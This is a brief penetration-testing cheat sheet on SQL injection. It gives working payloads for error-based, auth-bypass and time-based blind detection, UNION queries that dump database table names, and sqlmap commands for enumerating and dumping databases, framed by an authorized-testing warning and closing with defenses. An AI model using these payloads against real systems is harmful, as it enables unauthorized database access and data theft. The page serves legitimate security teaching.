SQL Injection

⚠️ Authorized testing only. Everything here is for use only against systems you own or have explicit written permission to test — home labs, CTFs, and authorized engagements. Unauthorized access is illegal. See Rules of Engagement and Authorization.

SQL injection (SQLi) occurs when user input is concatenated into a database query, letting an attacker alter the query's logic. Practice on DVWA or labs in Building a Home Pentest Lab.

#Detection

Break the query and watch for errors or behavior changes:

'           →  error?  (error-based)
' OR '1'='1 →  auth bypass / always-true
1' AND SLEEP(5)-- -   →  delay? (blind, time-based)

#Manual UNION extraction

-- find column count
' ORDER BY 4-- -
-- find reflected columns
' UNION SELECT 1,2,3,4-- -
-- dump data
' UNION SELECT 1,table_name,3,4 FROM information_schema.tables-- -

#sqlmap (automation)

sqlmap -u "https://target/item?id=1" --batch --dbs
sqlmap -r request.txt --level 5 --risk 3 --dump   # request.txt saved from Burp

Defense: parameterized queries / prepared statements, least-privilege DB users, input validation. See MariaDB Socket Auth vs TCP Users for least-privilege DB accounts.